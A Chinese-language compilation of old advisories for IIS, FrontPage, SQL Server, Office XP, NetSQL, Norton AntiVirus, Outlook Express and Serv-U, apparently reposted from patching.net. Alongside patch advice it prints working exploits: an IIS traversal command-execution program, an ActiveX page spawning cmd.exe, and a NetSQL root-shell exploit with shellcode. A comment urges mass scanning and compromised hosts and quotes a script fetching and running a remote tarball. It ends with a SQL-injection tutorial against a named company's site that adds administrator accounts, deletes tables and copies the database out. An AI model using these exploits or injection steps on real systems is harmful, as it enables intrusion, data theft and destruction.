www.patching.net(2002-4-16 9:19:29)


IIS 5.0 %3F+.htr 文件泄漏漏洞

是否远程：是 是否本地：否
适用环境：

--------------------------------------------------------------------------------

Microsoft 安全公告(MS01-004)

IIS 5.0 %3F+.htr 文件泄漏漏洞

发布日期: 2001-1-9

更新日期: 2001-1-31
受影响的系统:
Microsoft Internet Information Server 4.0
Microsoft Internet Information Service 5.0
描述:
--------------------------------------------------------------------------------

如果提供一个特殊的GET请求，IIS 5.0将会泄漏某些CGI文件的内容。
例如下列URL:

http://TARGETIIS/scripts/test.pl%3F+.htr

将会泄漏/scripts/test.pl的内容而不是去执行此CGI程序。

<* 来源：Georgi Guninski (guninski@guninski.com) *>

--------------------------------------------------------------------------------
建议:

临时解决方法：

建议立刻删除HTR映射。

厂商补丁：

微软已经为此发布了一个安全公告MS01-004并提供了补丁下载。
微软安全公告地址：http://www.microsoft.com/technet/security/bulletin/MS01-004.asp
补丁地址：
IIS 4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27492
IIS 5.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27491

出处：Microsoft 安全公告(MS01-004)
信息来源：maxilaw
www.patching.net(2001-2-7 10:08:57)


Microsoft FrontPage 2000服务器扩展缓冲区溢出漏洞

是否远程：是 是否本地：是
适用环境：

Microsoft FrontPage 2000 Server Extensions
- Microsoft IIS 4.0
- Microsoft IIS 5.0
--------------------------------------------------------------------------------

Microsoft FrontPage 2000服务器扩展缓冲区溢出漏洞

描述:
--------------------------------------------------------------------------------

CVE CAN ID : CAN-2001-0341
BUGTRAQ ID : 2841

NSFOCUS安全小组发现微软FrontPage 2000 服务器扩展软件包中的一个程序存在
一个缓冲区溢出漏洞。远程攻击者可能利用这个漏洞执行任意代码。

微软FrontPage 2000 服务器扩展软件包中带了一个动态链接库:fp30reg.dll.
它存在一个缓冲区溢出漏洞。当向fp30reg.dll提交一个包含超过258字节的长
URL请求时，将触发一个基于堆栈的缓冲区溢出。成功地利用这个漏洞，攻击
者可以在被攻击的主机上远程执行任意代码。

如果fp30reg.dll收到到一个它不理解的参数时，它会返回一个错误信息给请求者：

"The server is unable to perform the method [用户提供的参数] at this
time"

这个错误信息被保存在堆栈中的一个缓冲区中。fp30reg.dll调用
USER32.wsprintfA()来构造返回消息，由于没有检查用户输入数据的长度，攻击
者可以重写某些重要的内存地址以改变程序流程，例如：异常结构或者保存的返
回地址等。

USER32.wsprintfA()用到的格式串为：

<HEAD><TITLE>HTTP Error 501</TITLE></HEAD><BODY><H1>NOT IMPLEMENTED</H1>
The server is unable to perform the method <b>%s</b> at this time.</BODY>

它也被保存在堆栈中，而且它的地址在(目标缓冲区地址 + 256字节)处，因此在
溢出发生时，格式串会被重写，攻击者必须设法使拷贝顺利完成。

如果攻击者使用随机数据，可导致IIS停止响应。
对于IIS 5.0, IIS服务会自动重新启动。而对于IIS 4.0,需要手工重启服务。

成功地利用这个漏洞，
在IIS 5.0中，攻击者可以获取IWAM_machinename用户的权限.
在IIS 4.0中，攻击者可以获取Local SYSTEM权限。

注意：

fp30reg.dll在另外一个目录:
"\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\bin\"
下有一份拷贝，名字为: fp4areg.dll.

攻击者也可以利用unicode等漏洞来访问这个程序。

<*来源： Nsfocus Security Team (security@nsfocus.com)
中联绿盟安全公告(SA2001-03) : http://www.nsfocus.com/sa01-03.htm
*>

测试程序：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Nsfocus Security Team (security@nsfocus.com)提供了下列测试代码：

如果只提交258字节长的参数，溢出不会发生：

$ curl http://xx.xx.xx.xx/_vti_bin/_vti_aut/fp30reg.dll?`perl -e ‘print "A"x258‘`

<HEAD><TITLE>HTTP Error 501</TITLE></HEAD><BODY><H1>NOT IMPLEMENTED</H1>
The server is unable to perform the method <b>AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA</b> at this time.</BODY>

但是，如果长度超过258字节，就将触发缓冲区溢出：

$ curl http://xx.xx.xx.xx/_vti_bin/_vti_aut/fp30reg.dll?`perl -e ‘print "A"x259‘`

<html><head><title>Error</title></head><body>The remote procedure call failed.
</body></html>

Nsfocus Security Team 也提供了一个演示程序：
http://www.nsfocus.com/proof/fpse2000ex.c

--------------------------------------------------------------------------------
建议:

临时解决方法:

删除或禁止任何人访问fp30reg.dll和fp4areg.dll

厂商补丁：

微软已就此发布了一个安全公告(MS01-035)以及相应补丁。

您可以在下列地址看到微软安全公告的详细内容：

http://www.microsoft.com/technet/security/bulletin/ms01-035.asp

补丁程序可以在下列地址下载：

. Microsoft Windows NT 4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=31038

. Microsoft Windows 2000:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=30727

信息来源：maxilaw
www.patching.net(2001-6-27 9:43:02)


Microsoft IIS CGI文件名错误解码漏洞

是否远程：是 是否本地：是
适用环境：
Microsoft IIS 4.0
Microsoft IIS 5.0

--------------------------------------------------------------------------------

Microsoft IIS CGI文件名错误解码漏洞

不受影响系统:
Windows IIS 4.0 (sp6/sp6a 没有安装其他新的hotfix)
描述:
--------------------------------------------------------------------------------

CVE CAN ID : CAN-2001-0333
BUGTRAQ ID : 2708

NSFOCUS安全小组发现微软IIS 4.0/5.0在处理CGI程序文件名时存在一个安全
漏洞，由于错误地对文件名进行了两次解码，攻击者可能利用这个漏洞执行任意
系统命令。

IIS在加载可执行CGI程序时，会进行两次解码。第一次解码是对CGI文件名进行http
解码，然后判断此文件名是否为可执行文件，例如检查后缀名是否为".exe"或".com"
等等。在文件名检查通过之后，IIS会再进行第二次解码。正常情况下，应该只对该
CGI的参数进行解码，然而，IIS错误地将已经解码过的CGI文件名和CGI参数一起进行
解码。这样，CGI文件名就被错误地解码了两次。

通过精心构造CGI文件名，攻击者可以绕过IIS对文件名所作的安全检查，例如对"../"
或"./"的检查，在某些条件下，攻击者可以执行任意系统命令。

例如，对于‘\‘这个字符，正常编码后是%5c。这三个字符对应的编码为：
‘%‘ = %25
‘5‘ = %35
‘c‘ = %63

如果要对这三个字符再做一次编码，就可以有多种形式，例如：
%255c
%%35c
%%35%63
%25%35%63
...

因此，"..\"就可以表示成"..%255c"或"..%%35c"等等形式。

在经过第一次解码之后，变成"..%5c"。IIS会认为这是一个正常的字符串，
不会违反安全规则检查。而在第二次被解码之后，就会变成"..\"。因此
攻击者就可以使用"..\"来进行目录遍历，执行web目录之外的任意程序。

<*来源：NSFOCUS安全小组 ( security@nsfocus.com )
主页地址：ttp://www.nsfocus.com
*>

测试程序：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

例如，如果TARGET存在一个虚拟可执行目录(scripts)，并且它与
windows系统在同一驱动器上。那么提交类似下列请求：

http://TARGET/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

就会列出C:\的根目录。

当然，对于‘/‘或者‘.‘做变换同样可以达到上面的效果。
例如："..%252f", ".%252e/"...

注意：攻击者只能以IUSER_machinename用户的权限执行命令。

Filip Maertens <filip@securax.be>提供了一个演示程序：

/*
*
* execiis.c - (c)copyright Filip Maertens
* BUGTRAQ ID: 2708 - Microsoft IIS CGI Filename Decode Error
*
* DISCLAIMER: This is proof of concept code. This means, this code
* may only be used on approved systems in order to test the availability
* and integrity of machines during a legal penetration test. In noway
* is the author of this exploit responsible for the use and result of
* this code.
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>

/* Modify this value to whichever sequence you want.
*
* %255c = %%35c = %%35%63 = %25%35%63 = /
*
*/

#define SHOWSEQUENCE "/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+"

int main(int argc, char *argv[])
{

struct sockaddr_in sin;
char recvbuffer[1], stuff[200];
int create_socket;

printf("iisexec.c | Microsoft IIS CGI Filename Decode Error |
<filip@securax.be>\n-------------------------------------------------------------------------\n");

if (argc < 3)
{
printf(" -- Usage: iisexec [ip] [command]\n");
exit(0);
}

if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 )
printf(" -- Socket created.\n");

sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr(argv[1]);

if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0)
printf(" -- Connection made.\n");
else
{ printf(" -- No connection.\n"); exit(1); }

strcat(stuff, "GET ");
strcat(stuff, SHOWSEQUENCE);
strcat(stuff, argv[2]);
strcat(stuff, " HTTP/1.0\n\n");

memset(recvbuffer, ‘\0‘,sizeof(recvbuffer));

send(create_socket, stuff, sizeof(stuff), 0);
recv(create_socket, recvbuffer, sizeof (recvbuffer),0);

if ( ( strstr(recvbuffer,"404") == NULL ) )

printf(" -- Command output:\n\n");
while(recv(create_socket, recvbuffer, 1, 0) > 0)
{
printf("%c", recvbuffer[0]);
}

else
printf(" -- Wrong command processing. \n");

close(create_socket);

}

// EOF - More exploits @ http://vorlon.hexyn.be

--------------------------------------------------------------------------------
建议:

临时解决方法:

1、如果不需要可执行的CGI，可以删除可执行虚拟目录,例如 /scripts等等。
2、如果确实需要可执行的虚拟目录，建议将可执行虚拟目录单独放在一个分区
3、将所有可被攻击者利用的命令行工具移到另外一个目录中并禁止GUEST组
访问。

厂商补丁：

微软已就此发布了一个安全公告(MS01-026)以及相应补丁。

您可以在下列地址看到微软安全公告的详细内容：

http://www.microsoft.com/technet/security/bulletin/ms01-026.asp

补丁程序可以在下列地址下载：

. Microsoft IIS 4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29787

. Microsoft IIS 5.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29764

信息来源：maxilaw
www.patching.net(2001-5-20 15:46:03


Microsoft SQL Server管理员缓存连接漏洞

是否远程：是 是否本地：是
适用环境：
受影响的系统:
Microsoft SQL Server 7.0
- Microsoft Windows NT 4.0
Microsoft SQL Server 2000 Gold
- Microsoft Windows NT 4.0
- Microsoft Windows 2000
--------------------------------------------------------------------------------

Microsoft SQL Server管理员缓存连接漏洞

描述:
--------------------------------------------------------------------------------

BUGTRAQ ID ： 2863
CVE ID ：CAN-2001-0344

当一个客户端与SQL Server连接结束后，出于性能的考虑，这个连接还会在服务器上缓
存一段时间。而SQL的查询方法存在缺陷，因此导致一个用户的查询可能会重用缓冲的
sa帐号的连接。

这样，攻击者就可能以SQL Server管理员的身份对数据库进行任意操作，或者是运行外
部的程序，这相当于完全控制了这台服务器。

<*来源：Microsoft Security Bulletin MS01-032 on June 12, 2001
参考：http://www.microsoft.com/technet/security/bulletin/MS01-032.asp
*>

--------------------------------------------------------------------------------
建议:

微软已经为此发布了一个安全公告（MS01-032）以及相应补丁程序：

http://www.microsoft.com/technet/security/bulletin/MS01-032.asp

补丁下载：

Microsoft SQL Server 2000 and SQL Server 7.0:
http://support.microsoft.com/support/kb/articles/Q299/7/17.asp

出处：(MS01-032)
信息来源：maxilaw
www.patching.net(2001-6-27 9:34:24)


Microsoft SQL Server扩展存储程序漏洞

是否远程：是 是否本地：否
适用环境：

--------------------------------------------------------------------------------

Microsoft SQL Server扩展存储程序漏洞

发布日期:2000-12-01

应用程序:MS SQL Server 7.0 - all service packs

MS SQL Server 2000

平台:Windows NT 4.0 / 2000

严重性:程序中有几个缓冲区溢出漏洞可能导致任意代码的执行或服务拒绝攻击.

作者:David Litchfield [dlitchfield@atstake.com]

提供者情况: 已提供补丁，参看下面内容

概述:

Microsoft的数据库服务器, 如SQL Server, 包含一些缓冲区溢出漏洞可以被远程利用在受影响系统上执行任意代码,因此允许攻击者获得服务器的完全控制权. 在SQL Server受防火墙保护的情况下, 仍然有可能通过一个连接的web server发起这样的攻击 - 但是这取决于web server应用程序的安全程度.

细节:

在SQL server上增加更进一步的功能是执行一个任务或另一个任务的扩展存储程序 . 当向这样的程序提交一个过分长的字符串参数时，缓冲区将溢出. 颇具讽刺意义的是，它似乎发生在SQL server用来保护自己的异常控制调用部分程序中.该程序已知易受xp_displayparamstmt, xp_enumresultset,xp_showcolv以及xp_updatecolvbm的攻击. 每个被存储的过程都由xprepl.dll输出，并且可能由PUBLIC执行, 表面上任何用户可以登录到数据库服务器, 甚至是低权限用户也可以登录.如果溢出被利用，代码就以超级系统帐户运行.

一旦出现缓冲区溢出, EAX寄存器指出用户提供的数据并且迫使处理器执行这个缓冲区中存储的代码，保存的返回地址将需要被包含‘jmp eax‘或‘call eax‘指令的地址改写. 检查装载到地址空间的DLL显示有漏洞的DLL,xprepl.dll, 至少通过SQL Server 7的SQL service packs它并不改变.如果可以在DLL地址空间中找到这样的一个指令，那么任何概念验证代码都可以越过所有SQL service packs执行. 因为它发生在这个DLL中不存在这些指令的情况下. 然而, 溢出中存在一个‘call esi‘指令，当保存的返回地址被改写时esi寄存器指出上面的4个字节. 用包含‘call esi‘指令的地址改写保存的返回地址并且设置esi字节为FF E0
(jmp eax)，当‘call esi‘执行时，‘jmp eax‘执行，而且代码已经"逐步改写"了DWORD，因而改写了被保存的返回地址.

Proof of Concept:

在这个站点可以看到源代码:

提供者响应:

target=_blank>http://www.atstake.com/research/advisories/2000/sqladv-poc.c

提供者响应:

Microsoft已经发布了一个描述该问题的公告:

http://www.microsoft.com/technet/security/bulletin/ms00-092.asp

Microsoft已经发布了一个修复该漏洞的补丁:

http://support.microsoft.com/support/sql/xp_security.asp

建议:

除非你需要它，否则禁止扩展存储程序的PUBLIC执行访问权. 安装提供的补丁.

信息来源：yagami
www.patching.net(2000-12-7 11:32:17)


Microsoft Windows Terminal Server Service RDP 拒绝服务漏洞(MS01-052)

是否远程：是 是否本地：是
适用环境：
Microsoft Windows NT Terminal Server
Microsoft Windows 2000 Server
Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Datacenter Server
--------------------------------------------------------------------------------

BUGTRAQ ID: 3445
CVE ID: CAN-2001-0663

Windows NT 4.0和Windows 2000 Terminal Server Service(终端服务)的远程桌面协议（
RDP）存在一个安全漏洞，远程攻击者可以使目标服务器停止响应。

Windows Terminal Server的RDP协议实现无法正确处理某类RDP数据包。受影响的服务器
在接收到这类数据包后可能出现服务器瘫痪的情况。

服务器可以通过重启恢复正常运行，但攻击发生时正在处理的进程会遗失。

要利用本漏洞，攻击者无需拥有与受影响服务器建立对话的能力。唯一的要求就是能够向
该服务器的RDP端口发送这类数据包。

<*来源：Luciano MartinsD (http://www.deloitte.com.ar)
链接：http://www.microsoft.com/technet/security/bulletin/MS01-052.asp
*>

--------------------------------------------------------------------------------
建议:

临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* 在您的防火墙上禁止对内部网络的3389/TCP端口的访问，以限制未授权的RDP请求
* 如果您并不需要提供终端服务，建议您暂时将其关闭

厂商补丁：

微软已经为此发布了一个安全公告（MS01-052）以及相应补丁程序：
http://www.microsoft.com/technet/security/bulletin/MS01-052.asp

补丁下载地址：

Windows NT Server 4.0, Terminal Server Edition:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=33250

Windows 2000 Server and Advanced Server:
http://www.microsoft.com/downloads/release.asp?ReleaseID=33389

微软Windows 2000数据中心服务器:
Windows 2000数据中心服务器的补丁因硬件不同，须向原设备制造商索取

信息来源：miyagi
www.patching.net(2001-10-26 8:32:45)


MS Office XP 代码漏洞

涉及程序：
MS Office XP

描述：
MS Office XP 存在执行攻击者任意代码的危险

详细：
如果用户用 IE 浏览一个特殊构造的 HTML 页面，用 Outlook XP 打开或预览一个信息，则会存在未知代码在自己的机器上执行的可能，甚至会导致攻击者完全控制用户机器。

问题在于 Office XP 安装了一个 ActiveX 控件 "Microsoft Outlook View Control"，该控件会使用 Outlook "Application" 对象，从而导致任意代码执行的危险。

以下代码仅仅用来测试和研究这个漏洞，如果您将其用于不正当的途径请后果自负

-----------------------------------------------------
This assumes you have at least one message in Outlook XP's Inbox
<br>
<object id="o1"
classid="clsid:0006F063-0000-0000-C000-000000000046"
>
<param name="folder" value="Inbox">
</object>

<script>
function f()
{
//alert(o2.object);
sel=o1.object.selection;
vv1=sel.Item(1);
alert("Subject="+vv1.Subject);
alert("Body="+vv1.Body+"["+vv1.HTMLBody+"]");
alert("May be deleted");
//vv1.Delete();

vv2=vv1.Session.Application.CreateObject("WScript.Shell");

alert("Much more fun is possible");

vv2.Run("C:\\WINNT\\SYSTEM32\\CMD.EXE /c DIR /A /P /S C:\\ ");

}
setTimeout("f()",2000);
</script>
-----------------------------------------------------

感兴趣读者可到下面地址观看演示：
http://www.guninski.com/vv3-2demo.html

受影响系统：
Win2K + IE 5.5 SP1 fully patched + Office XP

解决方案：
微软尚未作出反应 !


NetSQL远程缓冲区溢出漏洞

发布日期: 2001-6-15

更新日期: 2001-6-27
受影响的系统:
Munica NetSQL 1.0
- RedHat Linux 7.1 i386
- RedHat Linux 7.0
- RedHat Linux 6.2E i386
- RedHat Linux 6.2
- RedHat Linux 6.1 i386
- RedHat Linux 6.0 i386
描述:
--------------------------------------------------------------------------------

BUGTRAQ ID ： 2885

NetSQL是由Munica公司发布的一个数据库软件，发现其存在缓冲区溢出漏洞。

通过向NetSQL端口（一般是6500）发送超长的字符串，NetSQL会缓冲区溢出，利用这个
漏洞，远程攻击者可能在目标主机上以root权限执行任意代码。

<*来源：Papa-tudo (papatudo@jedi.com.br) *>

测试程序：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Papa-tudo (papatudo@jedi.com.br)提供了如下测试代码：

/* PRIVATE EXPLOIT, DONT DISTRO%$##$%$#
* Remote exploit for NetSQL server, by Sergio Monteiro a.k.a Papa-tudo
* netsqld - An SQL database server with Web interface
* check http://www.sekurity.com.br/ .
*
* There is an easily exploitable buffer overflow in netsql.
* This exploit was tested on redhat 6.2.
*
* Run like: ./netsql | nc host.com 6500
* Then connect to port 3879 for the rootshell.
*
* Greets: http://www.sekurity.com.br/
* Author: Papa-tudo -
*
*PRIVATE EXPLOIT, DONT DISTRO%$##$%$#
*/

#include <stdio.h>
#include <string.h>

#define RET 0xbffea3d0

char crap[80];
char cmd[1024];

char shellcode[] =
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

int
main (int argc, char *argv[])

{

char *buf;
int bsize=180, offset = 0, len = 151, i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) len = atoi(argv[3]);

buf = malloc(bsize);

memset (buf, '\x90', bsize);
memset(crap, '\x41', 80);

for (i = len; i < bsize - 4; i += 4)
*(long *) &buf[i] = RET + offset;

memcpy (buf + (len - strlen (shellcode)), shellcode, strlen (shellcode));

crap[sizeof(crap)] = '\0';
buf[bsize - 1] = '\0';

fprintf(stderr, "Return Address = 0x%x\n", RET + offset);
fprintf(stderr, "Running with offset %d\n", offset);

printf("76 CONNECT %s ON %s USER=\'netsql\' PASSWORD=\'none\'\n", crap,
buf);

}

这段程序我看刚出不久我有一个比较笨的方法，可以利用superscan进行6500，，
可以尽量多扫一些，然后再做一个bash脚本自动进行溢出探测！
gcc -Wall -o -02 -pipe netsql.c -o netsql
如果可以的话就分别以10个打开6500端口的肉鸡重定向输入！嘿嘿简单吧，可惜我很懒
0对了还不知道这是不是远程溢出呢！不要打我。方法要注重方法，我还要学英语就不参加了哈
good luck
从red.tgz找到一段代码
TERM="linux"
export PATH="/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/bin"
lynx -dump http://go.163.com/~hotcn/red.tar >/usr/lib/red.tar
[ -f /usr/lib/red.tar ] || exit 0
cd /usr/lib;tar -xvf red.tar;rm -rf red.tar;cd lib;./start.sh


Norton AntiVirus 2000中POProxy.exe缓冲区溢出漏洞

Norton AntiVirus 2000中POProxy.exe缓冲区溢出漏洞
(远程进入系统 )

是否远程：是 是否本地：是
适用环境：

Symantec Norton AntiVirus 2000.0
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows NT 4.0
- Microsoft Windows 2000

--------------------------------------------------------------------------------

Norton AntiVirus 2000中POProxy.exe缓冲区溢出漏洞
不受影响系统:
Symantec Norton Anti-Virus 2001
- Microsoft Windows ME
- Microsoft Windows 98
- Microsoft Windows 95b
- Microsoft Windows NT 4.0
- Microsoft Windows NT 3.5.1
- Microsoft Windows NT 3.5
- Microsoft Windows 2000

描述:
--------------------------------------------------------------------------------

BUGTRAQ ID: 2766

Norton Anti-Virus 2000是一个应用广泛的商业反病毒软件，POProxy是集成在其中的电
子邮件扫描器，通过“电子邮件保护”的选项可以激活。
POProxy扮演着一个到POP服务器的代理的角色，监听于端口110。当用户请求他们的邮件时，
这些请求经过POProxy代理，所有流经它的邮件都会被扫描是否包含病毒。如果攻击者发送包
含269个字符或更长的数据包，则poproxy.exe将崩溃。攻击者有可能执行任意代码。

<* 来源：bugtraq@blue-ferret.com.au *>

测试程序：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

bugtraq@blue-ferret.com.au 提供如下攻击实例：

perl -e ‘{print "A"x269}‘ |nc 10.0.2.1 110

其中10.0.2.1的机器上运行有poproxy.exe。

--------------------------------------------------------------------------------
建议:

临时解决办法：

建议暂时停止使用"电子邮件保护"功能。

厂商补丁：

Symantec已经为此提供补丁，该补丁修改了端口设置，使得只有localhost可以访问该端口。
可以通过Norton Anti-Virus 2000的LiveUpdate功能下载该补丁。关于如何使用LiveUpdate
请参看：
http://service1.symantec.com/SUPPORT/sharedtech.nsf/docid/1999121613163206&src=w

信息来源：maxilaw
www.patching.net(2001-5-28 16:10:03


Outlook Express 6.00纯文本邮件脚本执行漏洞

受影响的系统:
Outlook Express 6.00
- Microsoft Windows 9x
- Microsoft Windows NT 4.0
- Microsoft Windows 2000
描述:
--------------------------------------------------------

Outlook Express是微软公司开发的集邮件收发和新闻组等多种功能于一体的软件。

正常情况下，只有html邮件[Content-Type: text/html]才会解析html和脚本代码。但是在最新推出的Outlook Express 6.00中，纯文本邮件中如果加入了脚本代码，它们也会被解释执行。

缺省情况下，Outlook Express 6.00禁止脚本执行，因此缺省情况下用户不会受此问题影响。 <*来源：http-equiv (http-equiv@excite.com)
链接：http://archives.neohapsis.com/archives/bugtraq/2001-09/0108.html
*>

测试程序：
--------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

发送下列的纯文本邮件也会导致执行脚本：

MIME-Version: 1.0
Content-Type: text/plain;
charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Source: 11.09.01 http://www.malware.com

<script>alert("freak");alert("show")</script>

http-equiv@excite.com也提供了一个演示程序：
http://www.malware.com/malware.zip

--------------------------------------------------------
建议:

厂商补丁：

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本。
http://www.microsoft.com


Serv-U FTP目录遍历漏洞(%20漏洞)

Serv-U FTP目录遍历漏洞(%20漏洞)
(远程进入系统 )

是否远程：是 是否本地：否
适用环境：

--------------------------------------------------------------------------------

Serv-U FTP目录遍历漏洞(%20漏洞)

日期：5/12/2000

摘要:

Serv-U FTP Server中的一个安全漏洞允许远程攻击者访问用户FTP主目录范围以外的文件和目录. 这个漏洞能用来完全破坏基础操作系统.

细节:

受影响系统:

Serv-U FTP version 2.4a

Serv-U FTP version 2.5h

Serv-U FTP version 3.0 beta

不受影响的系统:

Serv-U FTP version 2.5i

通过在常规命令GET(取得文件), PUT(文件放置)和CWD(改变目录)中插入一个%20字符(十六进制的空格符), 一个远程攻击者能够访问正常目录范围外的文件和目录.

发现真正的路径:

通过发送一个中间插入了%20的‘\..‘请求，将导致FTP服务器暴露真正的目录位置. 例如:

cd \.%20.

250 Directory changed to /Ftproot

目录遍历:

通过发送一个中间插入了%20的‘\...‘请求(注意是三个 ‘.‘), 用户可以访问FTP服务器正常范围以外的目录(除用户目录以外的其他目录):

cd \..%20.

250 Directory changed to /..

cd %20..%20%20../winnt\

250 Directory changed to /c:/TOMB/../WINNT

(注意: 只有你在你自己的主目录中才能使用这种攻击. 所以先改变目录到/winnt，再发送一个"get"命令是没有用的)

在主目录范围以外放置文件:

PUT命令中也存在同样的问题, 它允许执行以下命令:

put autoexec.bat %20..%20%20../winnt/2.bat

200 PORT Command successful.

150 Opening ASCII mode data connection for 2.bat.

226 Transfer complete.

漏洞开发摘要:

Serv-U FTP Server将会:

- 用cd \.%20命令将暴露ftp的整个目录到ftproot(即使"show path relative to home dir"选项是有效的). 即使有密码也一样有效.

- 如果你有你主目录的read/write/exec/list权限，将允许你有ftproot部分其他任何文件的read/write/execute/list访问权.

(注意: 选项"继承子目录"必须被选中, 否则命令 "cd" 就无效).

- 用"DIR ."命令允许显示隐藏文件, 即使"不显示隐藏文件"被选中.

- Serv-U FTP 2.4a中也有这样的漏洞. 但你需要用不同的字符串: dir %20..%20%20..\*.

解决方案:

升级到2.5i版本, 可以在下面的站点下载:

http://ftpserv-u.deerfield.com/download/

信息来源：yagami
www.patching.net(2000-12-8 12:56:59)


SQL数据库的一些攻击

关于数据库的简单入侵和无赖破坏，以天融信做例子

对于国内外的很多新闻，BBS和电子商务网站都采用ASP+SQL设计，而写 ASP的程序员很多（有很多刚刚毕业的），所以，ASP+SQL的攻击成功率也比较高。这类攻击方法与NT的版本和SQL的版本没有多大的关系，也没有相应的补丁，因为漏洞是程序员自己造成的，而且大多数讲解ASP编程的书上，源代码例子就有这个漏洞存在，其实只是一些合法的ASP对SQL的请求，就留下后患无穷！
这种攻击方法最早源于'or'1'='1的漏洞（我们暂且称其为漏洞），这个漏洞的原理我想大家因该都知道了，那么随之而来的便是;exec sp_addlogin hax（在数据库内添加一个hax用户），但是这个方法的限制很大，首先ASP使用的SQL Server账号是个管理员，其次请求的提交变量在整个SQL语句的最后，因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND ..... 这种方法请求数据库，那么如果还用以上的例子就会news.asp?id=2;exec sp_addlogin hax
变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...
整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在，语法错误，你的sp_addlogin自然也不能正常运行了，因此试试看下面这个方法
news.asp?id=2;exec sp_addlogin hax;--
后面的--符号把sp_addlogin后的判断语句变成了注释，这样就不会有语法错误了，sp_addlogin正常执行！
那么我们连一起来用吧
news.asp?id=2;exec master.dbo.sp_addlogin hax;--
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes

/active:yes /add';--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
这样，你在他的数据库和系统内都留下了hax管理员账号了
当然，前提条件是ASP用管理员账号，所以虚拟空间大家就别试了，不会存在这个漏洞的。
以后我们会讨论，如果对方的ASP不是用SQL管理员账号，我们如何入侵，当然也会涉及到1433端口的入侵
当然大家可以试试看在id=2后面加上一个'符号，主要看对方的ASP怎么写了

再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。
你如天融信的主页，有新闻内容，如下：
http://www.talentit.com.cn/news/news-2.asp?newid=117
大家可以试试看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;--
呵呵，报语法错误，select 123错误，显而易见，天融新的ASP在newid变量后面用'号结束
那么试试看http://www.talentit.com.cn/news/news-2.asp?newid=117';delete news;--
哈哈，我想只要表名猜对了，新闻库就被删了

通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限
但是我们不知道库名该怎么？看看db_name()函数吧
打开你的query analyzer，看看print db_name() ，呵呵，当前的数据库名就出来了
以次类推，如下： declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--
呵呵，他的当前数据库就备份到你的硬盘上了，接下来要做的大家心里都明白了吧
同理这个方法可以找到对方的SQL的IP
先装一个防火墙，打开ICMP和139TCP和445TCP的警告提示
然后试试看news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP'
